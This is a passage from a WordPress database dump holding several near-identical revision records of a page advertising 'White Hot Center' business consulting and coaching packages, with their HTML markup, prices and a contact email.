deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:10:11', '2010-12-02 00:10:11', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-90/', 0, 'revision', '', 0),
(1288, 2, '2010-12-01 17:18:27', '2010-12-02 00:18:27', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA.\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues of less than $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your business and personal growth. I will help you lock on to a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers, start-up entrepreneurs, professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:18:27', '2010-12-02 00:18:27', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-91/', 0, 'revision', '', 0);
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(1289, 2, '2010-12-01 17:27:42', '2010-12-02 00:27:42', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA.\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:27:42', '2010-12-02 00:27:42', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-92/', 0, 'revision', '', 0),
(1291, 2, '2010-12-01 17:34:28', '2010-12-02 00:34:28', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating and sustaining a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business!\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA.\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future. </span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:34:28', '2010-12-02 00:34:28', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-94/', 0, 'revision', '', 0),
(1290, 2, '2010-12-01 17:30:35', '2010-12-02 00:30:35', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business– with the result being more money to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #808080;">I inspire and guide successful, early-stage entrepreneurs, to discover and pursue with clarity and confidence their bigger vision of their future.<strong> Through insight, guidance and creativity I can help you discover, define and pursue your best opportunities to create more value in the marketplace</strong><strong>.\r\n</strong></span></h2>\r\n<h2><span style="color: #000000;"><strong>Many of my clients are a seeking greater mastery in four key areas of their entrepreneurial experience:</strong></span></h2>\r\n<span style="color: #ff6600;"><strong> <span style="color: #000000;">personal and professional growth–</span>\r\nto develop mastery of the inner game of turning possibility\r\ninto achievement.\r\n<span style="color: #000000;">lifestyle design–</span>\r\nto discover methods and tactics for creating the life experience you truly want.</strong><strong>\r\n<span style="color: #000000;">value creation–</span>\r\nto grow your impact and influence in the marketplace through innovation, creativity, and service to others.</strong><strong>\r\n<span style="color: #000000;">demand generation–</span>\r\nto master strategies for better targeting, positioning, branding, marketing, lead generation, and sales.</strong></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><span style="color: #ff6600;"> </span>For over 25 years, I"ve been successfully helping business people in global companies and venture start-ups alike better define the white hot center of their competitive advantage in the marketplace. My corporate clients have included top companies like Acura, Brunswick, Coleman, Energizer, Food Lion, Haworth, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA.\r\n</span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"> I integrate my nearly three decades of successful entrepreneurial and business building expertise, with my burning passion to help early stage entrepreneurs succeed with creativity, authenticity, passion and service. My purpose is to be an inspirational catalyst for change and growth, providing you with greater insight, inspiration and tools to build your bigger future. To help you accomplish your vision, I provide flexible levels of consulting and coaching engagements depending on the issues that are blocking your progress:<strong>\r\n</strong></span></span>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for early stage entrepreneurs who''ve been in business for at least 3 years and have sales revenues under $500,000.  Many entrepreneurs at this level have successfully sustained themselves in a "job", but have not yet broken the code to enable them to take a quantum leap to build their business to the $1million+ level and beyond. If this describes your current circumstances, I provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the focus necessary to provide more value to customers and clients, at the same time, creating more money, freedom and joy for you. You''ll gain deeper insight and clarity on what is in the way of your growth and expansion. I will help you lock onto a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. With you and your team, we''ll outline specific tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$15K+ USD  This consulting package is individually tailored and scaled to your particular business issues, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Coaching</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm coaching session designed to ignite dreamers and schemers, start-up entrepreneurs, solo professionals and artists. Clients gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required of you to make it happen. We can jam together on your ideas at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Immersion Power Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that allow us to explore not just your ideas, but innovative methods for turning possibility into achievement. The calls are recorded and the Mp3 is sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h1><span style="color: #ff6600;"><span style="color: #333333;"><strong>Start the burn!</strong></span></span></h1>\r\n<h1><span style="color: #ff6600;"> </span></h1>\r\n<h2><span style="color: #ff6600;"> Send an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you''re interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry. From there, we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for your bigger future. </span></h2>\r\n<h2><span style="color: #ff6600;">I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to pursue your best opportunities!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-12-01 17:30:35', '2010-12-02 00:30:35', '', 138, 'http://www.whitehotcenter.com/2010/12/01/138-revision-93/', 0, 'revision', '', 0),
(1292, 2, '2010-12-01 17:43:29', '2010-12-02 00:43:29', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;">Your success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, is at first, a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> You determine your success–not the economy, lack of capital, connections or knowledge. There are two guiding principles that form the bedrock of my point of view on creating and sustaining a life of joy, freedom, meaning and fulfillment through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese two principals stand evergreen, and form the essence of your value proposition to the world– it''s the white hot center of your competitive advantage. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your financially abundant business!\r\n\r\n<strong>White Hot Center Business Consulting </strong>\r\n<h2><img 